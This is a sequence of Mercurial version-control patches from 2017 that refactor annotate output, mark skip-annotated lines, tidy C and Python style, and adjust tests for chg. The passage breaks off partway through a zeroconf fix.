--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -326,12 +326,12 @@
         hexfn = rootfm.hexfunc
         formatrev = formathex = pycompat.bytestr
 
-    opmap = [('user', ' ', lambda x: x[0].user(), ui.shortuser),
-             ('number', ' ', lambda x: x[0].rev(), formatrev),
-             ('changeset', ' ', lambda x: hexfn(x[0].node()), formathex),
-             ('date', ' ', lambda x: x[0].date(), util.cachefunc(datefunc)),
-             ('file', ' ', lambda x: x[0].path(), str),
-             ('line_number', ':', lambda x: x[1], str),
+    opmap = [('user', ' ', lambda x: x.fctx.user(), ui.shortuser),
+             ('number', ' ', lambda x: x.fctx.rev(), formatrev),
+             ('changeset', ' ', lambda x: hexfn(x.fctx.node()), formathex),
+             ('date', ' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
+             ('file', ' ', lambda x: x.fctx.path(), str),
+             ('line_number', ':', lambda x: x.lineno, str),
             ]
     fieldnamemap = {'number': 'rev', 'changeset': 'node'}
 
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -25,6 +25,9 @@
     wdirnodes,
     wdirrev,
 )
+from .thirdparty import (
+    attr,
+)
 from . import (
     encoding,
     error,
@@ -983,10 +986,11 @@
 
         if linenumber:
             def decorate(text, rev):
-                return ([(rev, i) for i in xrange(1, lines(text) + 1)], text)
+                return ([annotateline(fctx=rev, lineno=i)
+                         for i in xrange(1, lines(text) + 1)], text)
         else:
             def decorate(text, rev):
-                return ([(rev, False)] * lines(text), text)
+                return ([annotateline(fctx=rev)] * lines(text), text)
 
         getlog = util.lrucachefunc(lambda x: self._repo.file(x))
 
@@ -1103,6 +1107,11 @@
         """
         return self._repo.wwritedata(self.path(), self.data())
 
+@attr.s(slots=True, frozen=True)
+class annotateline(object):
+    fctx = attr.ib()
+    lineno = attr.ib(default=False)
+
 def _annotatepair(parents, childfctx, child, skipchild, diffopts):
     r'''
     Given parent and child fctxes and annotate data for parents, for all lines
@@ -1148,7 +1157,7 @@
             for (a1, a2, b1, b2), _t in blocks:
                 if a2 - a1 >= b2 - b1:
                     for bk in xrange(b1, b2):
-                        if child[0][bk][0] == childfctx:
+                        if child[0][bk].fctx == childfctx:
                             ak = min(a1 + (bk - b1), a2 - 1)
                             child[0][bk] = parent[0][ak]
                 else:
@@ -1159,7 +1168,7 @@
         for parent, blocks in remaining:
             for a1, a2, b1, b2 in blocks:
                 for bk in xrange(b1, b2):
-                    if child[0][bk][0] == childfctx:
+                    if child[0][bk].fctx == childfctx:
                         ak = min(a1 + (bk - b1), a2 - 1)
                         child[0][bk] = parent[0][ak]
     return child
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -906,7 +906,8 @@
 
         previousrev = None
         blockparitygen = paritygen(1)
-        for lineno, ((f, targetline), l) in enumerate(lines):
+        for lineno, (aline, l) in enumerate(lines):
+            f = aline.fctx
             rev = f.rev()
             if rev != previousrev:
                 blockhead = True
@@ -924,7 +925,7 @@
                    "file": f.path(),
                    "blockhead": blockhead,
                    "blockparity": blockparity,
-                   "targetline": targetline,
+                   "targetline": aline.lineno,
                    "line": l,
                    "lineno": lineno + 1,
                    "lineid": "l%d" % (lineno + 1),
diff --git a/tests/test-annotate.py b/tests/test-annotate.py
--- a/tests/test-annotate.py
+++ b/tests/test-annotate.py
@@ -7,6 +7,7 @@
     mdiff,
 )
 from mercurial.context import (
+    annotateline,
     _annotatepair,
 )
 
@@ -25,50 +26,76 @@
         diffopts = mdiff.diffopts()
 
         def decorate(text, rev):
-            return ([(rev, i) for i in xrange(1, text.count(b'\n') + 1)], text)
+            return ([annotateline(fctx=rev, lineno=i)
+                     for i in xrange(1, text.count(b'\n') + 1)],
+                    text)
 
         # Basic usage
 
         oldann = decorate(olddata, oldfctx)
         p1ann = decorate(p1data, p1fctx)
         p1ann = _annotatepair([oldann], p1fctx, p1ann, False, diffopts)
-        self.assertEqual(p1ann[0], [('old', 1), ('old', 2), ('p1', 3)])
+        self.assertEqual(p1ann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2),
+            annotateline('p1', 3),
+        ])
 
         p2ann = decorate(p2data, p2fctx)
         p2ann = _annotatepair([oldann], p2fctx, p2ann, False, diffopts)
-        self.assertEqual(p2ann[0], [('old', 1), ('p2', 2), ('p2', 3)])
+        self.assertEqual(p2ann[0], [
+            annotateline('old', 1),
+            annotateline('p2', 2),
+            annotateline('p2', 3),
+        ])
 
         # Test with multiple parents (note the difference caused by ordering)
 
         childann = decorate(childdata, childfctx)
         childann = _annotatepair([p1ann, p2ann], childfctx, childann, False,
                                  diffopts)
-        self.assertEqual(childann[0],
-            [('old', 1), ('c', 2), ('p2', 2), ('c', 4), ('p2', 3)]
-        )
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('c', 2),
+            annotateline('p2', 2),
+            annotateline('c', 4),
+            annotateline('p2', 3),
+        ])
 
         childann = decorate(childdata, childfctx)
         childann = _annotatepair([p2ann, p1ann], childfctx, childann, False,
                                  diffopts)
-        self.assertEqual(childann[0],
-            [('old', 1), ('c', 2), ('p1', 3), ('c', 4), ('p2', 3)]
-        )
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('c', 2),
+            annotateline('p1', 3),
+            annotateline('c', 4),
+            annotateline('p2', 3),
+        ])
 
         # Test with skipchild (note the difference caused by ordering)
 
         childann = decorate(childdata, childfctx)
         childann = _annotatepair([p1ann, p2ann], childfctx, childann, True,
                                  diffopts)
-        self.assertEqual(childann[0],
-            [('old', 1), ('old', 2), ('p2', 2), ('p2', 2), ('p2', 3)]
-        )
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2),
+            annotateline('p2', 2),
+            annotateline('p2', 2),
+            annotateline('p2', 3),
+        ])
 
         childann = decorate(childdata, childfctx)
         childann = _annotatepair([p2ann, p1ann], childfctx, childann, True,
                                  diffopts)
-        self.assertEqual(childann[0],
-            [('old', 1), ('old', 2), ('p1', 3), ('p1', 3), ('p2', 3)]
-        )
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2),
+            annotateline('p1', 3),
+            annotateline('p1', 3),
+            annotateline('p2', 3),
+        ])
 
 if __name__ == '__main__':
     import silenttestrunner
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506936887 25200
#      Mon Oct 02 02:34:47 2017 -0700
# Node ID 2f5a135b2b046e1bfd4d207123908f68c27b06e7
# Parent  2e32c6a31cc71bb5abb7b7198188cf633d836d91
annotate: track whether a particular annotation was the result of a skip

We're going to expose this information in the UI in an upcoming patch.

Differential Revision: https://phab.mercurial-scm.org/D899

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1111,6 +1111,8 @@
 class annotateline(object):
     fctx = attr.ib()
     lineno = attr.ib(default=False)
+    # Whether this annotation was the result of a skip-annotate.
+    skip = attr.ib(default=False)
 
 def _annotatepair(parents, childfctx, child, skipchild, diffopts):
     r'''
@@ -1159,7 +1161,7 @@
                     for bk in xrange(b1, b2):
                         if child[0][bk].fctx == childfctx:
                             ak = min(a1 + (bk - b1), a2 - 1)
-                            child[0][bk] = parent[0][ak]
+                            child[0][bk] = attr.evolve(parent[0][ak], skip=True)
                 else:
                     remaining[idx][1].append((a1, a2, b1, b2))
 
@@ -1170,7 +1172,7 @@
                 for bk in xrange(b1, b2):
                     if child[0][bk].fctx == childfctx:
                         ak = min(a1 + (bk - b1), a2 - 1)
-                        child[0][bk] = parent[0][ak]
+                        child[0][bk] = attr.evolve(parent[0][ak], skip=True)
     return child
 
 class filectx(basefilectx):
diff --git a/tests/test-annotate.py b/tests/test-annotate.py
--- a/tests/test-annotate.py
+++ b/tests/test-annotate.py
@@ -80,9 +80,11 @@
                                  diffopts)
         self.assertEqual(childann[0], [
             annotateline('old', 1),
-            annotateline('old', 2),
+            annotateline('old', 2, True),
+            # note that this line was carried over from earlier so it is *not*
+            # marked skipped
             annotateline('p2', 2),
-            annotateline('p2', 2),
+            annotateline('p2', 2, True),
             annotateline('p2', 3),
         ])
 
@@ -91,9 +93,9 @@
                                  diffopts)
         self.assertEqual(childann[0], [
             annotateline('old', 1),
-            annotateline('old', 2),
+            annotateline('old', 2, True),
             annotateline('p1', 3),
-            annotateline('p1', 3),
+            annotateline('p1', 3, True),
             annotateline('p2', 3),
         ])
 
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506964737 -3600
#      Mon Oct 02 18:18:57 2017 +0100
# Node ID 884b595f5195f8c1f13ca25ffe7c92c5a1becaea
# Parent  2f5a135b2b046e1bfd4d207123908f68c27b06e7
annotate: mark lines affected by skip-annotate with *

This is to prevent weird surprises from happening with skips being attributed
to the wrong changeset.

.. feature::

   `hg annotate --skip` now prints a `*` on lines with skipped revisions

Differential Revision: https://phab.mercurial-scm.org/D900

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -400,7 +400,11 @@
         for f, p, l in zip(zip(*formats), zip(*pieces), lines):
             fm.startitem()
             fm.write(fields, "".join(f), *p)
-            fm.write('line', ": %s", l[1])
+            if l[0].skip:
+                fmt = "* %s"
+            else:
+                fmt = ": %s"
+            fm.write('line', fmt, l[1])
 
         if not lines[-1][1].endswith('\n'):
             fm.plain('\n')
diff --git a/tests/test-annotate.t b/tests/test-annotate.t
--- a/tests/test-annotate.t
+++ b/tests/test-annotate.t
@@ -261,8 +261,8 @@
 
   $ hg annotate -nlf b --skip 6
   0 a:1: a
-  1 a:2: z (no-pure !)
   0 a:1: z (pure !)
+  1 a:2* z
   1 a:3: a
   3 b:4: b4
   4 b:5: c
@@ -275,9 +275,9 @@
   0 a:1: a
   6 b:2: z
   1 a:3: a
-  1 a:3: b4
+  1 a:3* b4
   4 b:5: c
-  1 a:3: b5
+  1 a:3* b5
   7 b:7: d
 
   $ hg annotate -nlf b --skip 4
@@ -285,7 +285,7 @@
   6 b:2: z
   1 a:3: a
   3 b:4: b4
-  1 a:3: c
+  1 a:3* c
   3 b:5: b5
   7 b:7: d
 
@@ -293,9 +293,9 @@
   0 a:1: a
   6 b:2: z
   1 a:3: a
-  1 a:3: b4
-  1 a:3: c
-  1 a:3: b5
+  1 a:3* b4
+  1 a:3* c
+  1 a:3* b5
   7 b:7: d
 
   $ hg annotate -nlf b --skip 'merge()'
@@ -305,18 +305,18 @@
   3 b:4: b4
   4 b:5: c
   3 b:5: b5
-  3 b:5: d
+  3 b:5* d
 
 --skip everything -- use the revision the file was introduced in
 
   $ hg annotate -nlf b --skip 'all()'
   0 a:1: a
-  0 a:1: z
-  0 a:1: a
-  0 a:1: b4
-  0 a:1: c
-  0 a:1: b5
-  0 a:1: d
+  0 a:1* z
+  0 a:1* a
+  0 a:1* b4
+  0 a:1* c
+  0 a:1* b5
+  0 a:1* d
 
 Issue2807: alignment of line numbers with -l
 
# HG changeset patch
# User Alex Gaynor <agaynor@mozilla.com>
# Date 1506700160 0
#      Fri Sep 29 15:49:20 2017 +0000
# Node ID 5326e4ef1dab0bb33f5262aa9e68491d115525fb
# Parent  884b595f5195f8c1f13ca25ffe7c92c5a1becaea
style: never put multiple statements on one line

Differential Revision: https://phab.mercurial-scm.org/D905

diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -135,7 +135,8 @@
                 del self._connmap[connection]
                 del self._readymap[connection]
                 self._hostmap[host].remove(connection)
-                if not self._hostmap[host]: del self._hostmap[host]
+                if not self._hostmap[host]:
+                    del self._hostmap[host]
         finally:
             self._lock.release()
 
@@ -621,7 +622,8 @@
         f = fo.readline()
         if f:
             foo = foo + f
-        else: break
+        else:
+            break
     fo.close()
     m = md5(foo)
     print(format % ('keepalive readline', m.hexdigest()))
diff --git a/mercurial/pure/bdiff.py b/mercurial/pure/bdiff.py
--- a/mercurial/pure/bdiff.py
+++ b/mercurial/pure/bdiff.py
@@ -60,7 +60,8 @@
 
     bin = []
     p = [0]
-    for i in a: p.append(p[-1] + len(i))
+    for i in a:
+        p.append(p[-1] + len(i))
 
     d = difflib.SequenceMatcher(None, a, b).get_matching_blocks()
     d = _normalizeblocks(a, b, d)
diff --git a/mercurial/pure/mpatch.py b/mercurial/pure/mpatch.py
--- a/mercurial/pure/mpatch.py
+++ b/mercurial/pure/mpatch.py
@@ -75,7 +75,8 @@
     # copy all the patches into our segment so we can memmove from them
     pos = b2 + bl
     m.seek(pos)
-    for p in bins: m.write(p)
+    for p in bins:
+        m.write(p)
 
     for plen in plens:
         # if our list gets too long, execute it
diff --git a/mercurial/sshserver.py b/mercurial/sshserver.py
--- a/mercurial/sshserver.py
+++ b/mercurial/sshserver.py
@@ -127,7 +127,8 @@
                 r = impl()
                 if r is not None:
                     self.sendresponse(r)
-            else: self.sendresponse("")
+            else:
+                self.sendresponse("")
         return cmd != ''
 
     def _client(self):
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1605,8 +1605,10 @@
         ifp.close()
         ofp.close()
     except: # re-raises
-        try: os.unlink(temp)
-        except OSError: pass
+        try:
+            os.unlink(temp)
+        except OSError:
+            pass
         raise
     return temp
 
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1506968224 -3600
#      Mon Oct 02 19:17:04 2017 +0100
# Node ID c1fe66e89f57ed7689697f566acefd4673484bce
# Parent  5326e4ef1dab0bb33f5262aa9e68491d115525fb
registrar: fixing typo in comment

I was just going through the module and noticed the typo. This commit
fixes 'onfalure' -> 'onfailure'.

Differential Revision: https://phab.mercurial-scm.org/D906

diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -347,7 +347,7 @@
     fullmerge   o        o        o
     ========== ======== ======== =========
 
-    Optional argument 'onfalure' is the format of warning message
+    Optional argument 'onfailure' is the format of warning message
     to be used at failure of merging (target filename is specified
     at formatting). Or, None or so, if warning message should be
     suppressed.
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506967363 -3600
#      Mon Oct 02 19:02:43 2017 +0100
# Node ID ce26a13869fb48d81e1fcb5193e631180d75312b
# Parent  c1fe66e89f57ed7689697f566acefd4673484bce
cext: move braces for control statements to same line

This seems to be the prevailing style in the code by a wide margin.

Differential Revision: https://phab.mercurial-scm.org/D907

diff --git a/mercurial/cext/base85.c b/mercurial/cext/base85.c
--- a/mercurial/cext/base85.c
+++ b/mercurial/cext/base85.c
@@ -96,14 +96,12 @@
 	dst = PyBytes_AsString(out);
 
 	i = 0;
-	while (i < len)
-	{
+	while (i < len) {
 		acc = 0;
 		cap = len - i - 1;
 		if (cap > 4)
 			cap = 4;
-		for (j = 0; j < cap; i++, j++)
-		{
+		for (j = 0; j < cap; i++, j++) {
 			c = b85dec[(int)*text++] - 1;
 			if (c < 0)
 				return PyErr_Format(
@@ -112,8 +110,7 @@
 					(int)i);
 			acc = acc * 85 + c;
 		}
-		if (i++ < len)
-		{
+		if (i++ < len) {
 			c = b85dec[(int)*text++] - 1;
 			if (c < 0)
 				return PyErr_Format(
@@ -136,8 +133,7 @@
 			acc *= 85;
 		if (cap && cap < 4)
 			acc += 0xffffff >> (cap - 1) * 8;
-		for (j = 0; j < cap; j++)
-		{
+		for (j = 0; j < cap; j++) {
 			acc = (acc << 8) | (acc >> 24);
 			*dst++ = acc;
 		}
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -445,8 +445,7 @@
 		iter = PyObject_GetIter(list);
 		if (iter == NULL)
 			return -2;
-		while ((iter_item = PyIter_Next(iter)))
-		{
+		while ((iter_item = PyIter_Next(iter))) {
 			iter_item_long = PyInt_AS_LONG(iter_item);
 			Py_DECREF(iter_item);
 			if (iter_item_long < min_idx)
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506967560 -3600
#      Mon Oct 02 19:06:00 2017 +0100
# Node ID b90e8da190da05f5e36d0ea7104330863c66053a
# Parent  ce26a13869fb48d81e1fcb5193e631180d75312b
cext: reorder #include

We mostly abide by this style.

In one case, a blank line was inserted to prevent a local
`#include "file"` from coming before a `#include <file>`.

Differential Revision: https://phab.mercurial-scm.org/D908

diff --git a/mercurial/cext/bdiff.c b/mercurial/cext/bdiff.c
--- a/mercurial/cext/bdiff.c
+++ b/mercurial/cext/bdiff.c
@@ -11,9 +11,9 @@
 
 #define PY_SSIZE_T_CLEAN
 #include <Python.h>
+#include <limits.h>
 #include <stdlib.h>
 #include <string.h>
-#include <limits.h>
 
 #include "bdiff.h"
 #include "bitmanipulation.h"
diff --git a/mercurial/cext/dirs.c b/mercurial/cext/dirs.c
--- a/mercurial/cext/dirs.c
+++ b/mercurial/cext/dirs.c
@@ -9,6 +9,7 @@
 
 #define PY_SSIZE_T_CLEAN
 #include <Python.h>
+
 #include "util.h"
 
 #ifdef IS_PY3K
diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -9,8 +9,8 @@
 #include <Python.h>
 
 #include <assert.h>
+#include <stdlib.h>
 #include <string.h>
-#include <stdlib.h>
 
 #include "charencode.h"
 #include "util.h"
diff --git a/mercurial/cext/mpatch.c b/mercurial/cext/mpatch.c
--- a/mercurial/cext/mpatch.c
+++ b/mercurial/cext/mpatch.c
@@ -25,10 +25,10 @@
 #include <stdlib.h>
 #include <string.h>
 
-#include "util.h"
 #include "bitmanipulation.h"
 #include "compat.h"
 #include "mpatch.h"
+#include "util.h"
 
 static char mpatch_doc[] = "Efficient binary patching.";
 static PyObject *mpatch_Error;
diff --git a/mercurial/cext/osutil.c b/mercurial/cext/osutil.c
--- a/mercurial/cext/osutil.c
+++ b/mercurial/cext/osutil.c
@@ -9,15 +9,15 @@
 
 #define _ATFILE_SOURCE
 #include <Python.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#include <errno.h>
 
 #ifdef _WIN32
+#include <io.h>
 #include <windows.h>
-#include <io.h>
 #else
 #include <dirent.h>
 #include <sys/socket.h>
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -12,9 +12,9 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "bitmanipulation.h"
 #include "charencode.h"
 #include "util.h"
-#include "bitmanipulation.h"
 
 #ifdef IS_PY3K
 /* The mapping of Python types is meant to be temporary to get Python
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -13,9 +13,9 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "bitmanipulation.h"
 #include "charencode.h"
 #include "util.h"
-#include "bitmanipulation.h"
 
 #ifdef IS_PY3K
 /* The mapping of Python types is meant to be temporary to get Python
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506967792 -3600
#      Mon Oct 02 19:09:52 2017 +0100
# Node ID 88e83a618de0f326bcc6a5d4ab119c97e8b67a02
# Parent  b90e8da190da05f5e36d0ea7104330863c66053a
cext: put case statements on separate line

This seems to be the prevailing style, even though it is a bit more
verbose for very simple switch statements.

Differential Revision: https://phab.mercurial-scm.org/D909

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -319,13 +319,20 @@
 static char jsonescapechar2(char c)
 {
 	switch (c) {
-	case '\b': return 'b';
-	case '\t': return 't';
-	case '\n': return 'n';
-	case '\f': return 'f';
-	case '\r': return 'r';
-	case '"':  return '"';
-	case '\\': return '\\';
+	case '\b':
+		return 'b';
+	case '\t':
+		return 't';
+	case '\n':
+		return 'n';
+	case '\f':
+		return 'f';
+	case '\r':
+		return 'r';
+	case '"':
+		return '"';
+	case '\\':
+		return '\\';
 	}
 	return '\0';  /* should not happen */
 }
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506968921 -3600
#      Mon Oct 02 19:28:41 2017 +0100
# Node ID 7ed0750c71a12a3cafeaecd90e1f62926ae6b83b
# Parent  88e83a618de0f326bcc6a5d4ab119c97e8b67a02
cext: wrap before brace for functions

This is our prevailing style.

Differential Revision: https://phab.mercurial-scm.org/D910

diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -40,12 +40,14 @@
 #define MANIFEST_MALFORMED -3
 
 /* get the length of the path for a line */
-static size_t pathlen(line *l) {
+static size_t pathlen(line *l)
+{
 	return strlen(l->start);
 }
 
 /* get the node value of a single line */
-static PyObject *nodeof(line *l) {
+static PyObject *nodeof(line *l)
+{
 	char *s = l->start;
 	ssize_t llen = pathlen(l);
 	PyObject *hash = unhexlify(s + llen + 1, 40);
@@ -434,7 +436,8 @@
 
 /* Do a binary search for the insertion point for new, creating the
  * new entry if needed. */
-static int internalsetitem(lazymanifest *self, line *new) {
+static int internalsetitem(lazymanifest *self, line *new)
+{
 	int start = 0, end = self->numlines;
 	while (start < end) {
 		int pos = start + (end - start) / 2;
@@ -602,7 +605,8 @@
 static PyTypeObject lazymanifestType;
 
 /* If the manifest has changes, build the new manifest text and reindex it. */
-static int compact(lazymanifest *self) {
+static int compact(lazymanifest *self)
+{
 	int i;
 	ssize_t need = 0;
 	char *data;
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -321,7 +321,8 @@
 /*
  * Build a set of non-normal and other parent entries from the dirstate dmap
 */
-static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args) {
+static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args)
+{
 	PyObject *dmap, *fname, *v;
 	PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
 	Py_ssize_t pos;
@@ -645,7 +646,8 @@
 }
 
 
-static PyObject *fm1readmarkers(PyObject *self, PyObject *args) {
+static PyObject *fm1readmarkers(PyObject *self, PyObject *args)
+{
 	const char *data, *dataend;
 	int datalen;
 	Py_ssize_t offset, stop;
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -407,7 +407,8 @@
 	return newlist;
 }
 
-static int check_filter(PyObject *filter, Py_ssize_t arg) {
+static int check_filter(PyObject *filter, Py_ssize_t arg)
+{
 	if (filter) {
 		PyObject *arglist, *result;
 		int isfiltered;
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506938633 -3600
#      Mon Oct 02 11:03:53 2017 +0100
# Node ID 50474f0b3f1ba42d5a45fd03f420fb7a38fbc05e
# Parent  7ed0750c71a12a3cafeaecd90e1f62926ae6b83b
changelog: use a Factory for default value for files

The default value is compiled into the generated type. This means
that default values are shared between instances. For immutable types
like bool, str, int, and tuple, this is fine. But for mutable types
like list and dict, we need to use attr.Factory()  to instantiate a
new instance of the default for each object.

Differential Revision: https://phab.mercurial-scm.org/D901

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -151,7 +151,7 @@
     manifest = attr.ib(default=nullid)
     user = attr.ib(default='')
     date = attr.ib(default=(0, 0))
-    files = attr.ib(default=[])
+    files = attr.ib(default=attr.Factory(list))
     description = attr.ib(default='')
 
 class changelogrevision(object):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506985917 25200
#      Mon Oct 02 16:11:57 2017 -0700
# Node ID 73d8a5283f87379b835081e9cdeeb2c403976246
# Parent  50474f0b3f1ba42d5a45fd03f420fb7a38fbc05e
test-pager: make it compatible with chg

chg's runpager implementation is different. It behaves differently for the
"shell=False, command not found" case.

Differential Revision: https://phab.mercurial-scm.org/D911

diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -195,6 +195,7 @@
   paged! 'summary:     modify a 8\n'
   paged! '\n'
 
+#if no-chg
 An invalid pager command name is reported sensibly if we don't have to
 use shell=True in the subprocess call:
   $ hg log --limit 3 --config pager.pager=this-command-better-never-exist
@@ -215,6 +216,17 @@
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     modify a 8
   
+#else
+Currently, chg has its own runpager implementation, which does not show the
+"missing pager" message. The error message is globed out since the shell could
+print different message.
+  $ hg log --limit 3 --config pager.pager=this-command-better-never-exist
+  /bin/sh: this-command-better-never-exist: command not found (?)
+  * (glob) (?)
+  killed!
+  [255]
+
+#endif
 
 A complicated pager command gets worse behavior. Bonus points if you can
 improve this.
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507054203 25200
#      Tue Oct 03 11:10:03 2017 -0700
# Node ID f2268edf38d5ab8c7617b8e069aa1f501d77d910
# Parent  73d8a5283f87379b835081e9cdeeb2c403976246
test-globalopts: make the test compatible with chg

The test fails when run with the '--chg' option. Therefore, this
commit modifies the test to make it compatible with chg.

Test Plan:
Ran 'test-globalopts.t' with and without the '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D913

diff --git a/tests/test-globalopts.t b/tests/test-globalopts.t
--- a/tests/test-globalopts.t
+++ b/tests/test-globalopts.t
@@ -263,8 +263,14 @@
 
 Testing --traceback:
 
+#if no-chg
   $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
   Traceback (most recent call last):
+#else
+Traceback for '--config' errors not supported with chg.
+  $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
+  [1]
+#endif
 
 Testing --time:
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506993763 25200
#      Mon Oct 02 18:22:43 2017 -0700
# Node ID df78b1a24094a89dd8678e05b9a96ebcc3c791af
# Parent  f2268edf38d5ab8c7617b8e069aa1f501d77d910
test-logtoprocess: make it compatible with chg

chg runs more commands and outputs more lines. This patch matches them.

Differential Revision: https://phab.mercurial-scm.org/D914

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -595,7 +595,7 @@
 # list in group 2, and the preceeding line output in group 1:
 #
 #   output..output (feature !)\n
-optline = re.compile(b'(.+) \((.+?) !\)\n$')
+optline = re.compile(b'(.*) \((.+?) !\)\n$')
 
 def cdatasafe(data):
     """Make a string safe to include in a CDATA block.
diff --git a/tests/test-logtoprocess.t b/tests/test-logtoprocess.t
--- a/tests/test-logtoprocess.t
+++ b/tests/test-logtoprocess.t
@@ -45,9 +45,11 @@
   
   
   
+   (chg !)
   0
   a message: spam
   command
+  command (chg !)
   commandfinish
   foo
   foo
@@ -55,8 +57,11 @@
   foo
   foo exited 0 after * seconds (glob)
   logtoprocess command output:
+  logtoprocess command output: (chg !)
   logtoprocess commandfinish output:
   logtoprocess foo output:
+  serve --cmdserver chgunix * (glob) (chg !)
+  serve --cmdserver chgunix * (glob) (chg !)
   spam
 
 Confirm that logging blocked time catches stdio properly:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506996632 25200
#      Mon Oct 02 19:10:32 2017 -0700
# Node ID 5b19f0442043fa067194a6095380b9e442ab1a9c
# Parent  df78b1a24094a89dd8678e05b9a96ebcc3c791af
test-profile: gate chg-incompatible part with '#if chg'

chg has a different extension loading logic, which affects the profiler
extension test case. Gate the block with '#if chg' so the test passes with
chg.

Differential Revision: https://phab.mercurial-scm.org/D916

diff --git a/tests/test-profile.t b/tests/test-profile.t
--- a/tests/test-profile.t
+++ b/tests/test-profile.t
@@ -111,6 +111,7 @@
 
   $ cd ..
 
+#if no-chg
 profiler extension could be loaded before other extensions
 
   $ cat > fooprof.py <<EOF
@@ -158,3 +159,4 @@
   unrecognized profiler 'unknown' - ignored
 
   $ cd ..
+#endif
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506997893 25200
#      Mon Oct 02 19:31:33 2017 -0700
# Node ID b0c97e44576fbf2d3c7f14ff2582f9c67cf47148
# Parent  5b19f0442043fa067194a6095380b9e442ab1a9c
test-revlog-mmapindex: make it compatible with chg

The test misses an explicit flush().

Differential Revision: https://phab.mercurial-scm.org/D918

diff --git a/tests/test-revlog-mmapindex.t b/tests/test-revlog-mmapindex.t
--- a/tests/test-revlog-mmapindex.t
+++ b/tests/test-revlog-mmapindex.t
@@ -9,11 +9,12 @@
   >     util,
   > )
   > 
-  > def mmapread(orig, fp):
-  >     print "mmapping %s" % fp.name
-  >     return orig(fp)
+  > def extsetup(ui):
+  >     def mmapread(orig, fp):
+  >         ui.write("mmapping %s\n" % fp.name)
+  >         ui.flush()
+  >         return orig(fp)
   > 
-  > def extsetup(ui):
   >     extensions.wrapfunction(util, 'mmapread', mmapread)
   > EOF
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507001005 25200
#      Mon Oct 02 20:23:25 2017 -0700
# Node ID 5385b76fd1fd25668d609eab31726449b96d7965
# Parent  b0c97e44576fbf2d3c7f14ff2582f9c67cf47148
zeroconf: do not crash if socket being read is closed by another thread

In zeroconf/__init__.py, there is:

    server = Zeroconf.Zeroconf(ip)
    l = listener()
    Zeroconf.ServiceBrowser(server, "_hg._tcp.local.", l)
    time.sleep(1)
    server.close()

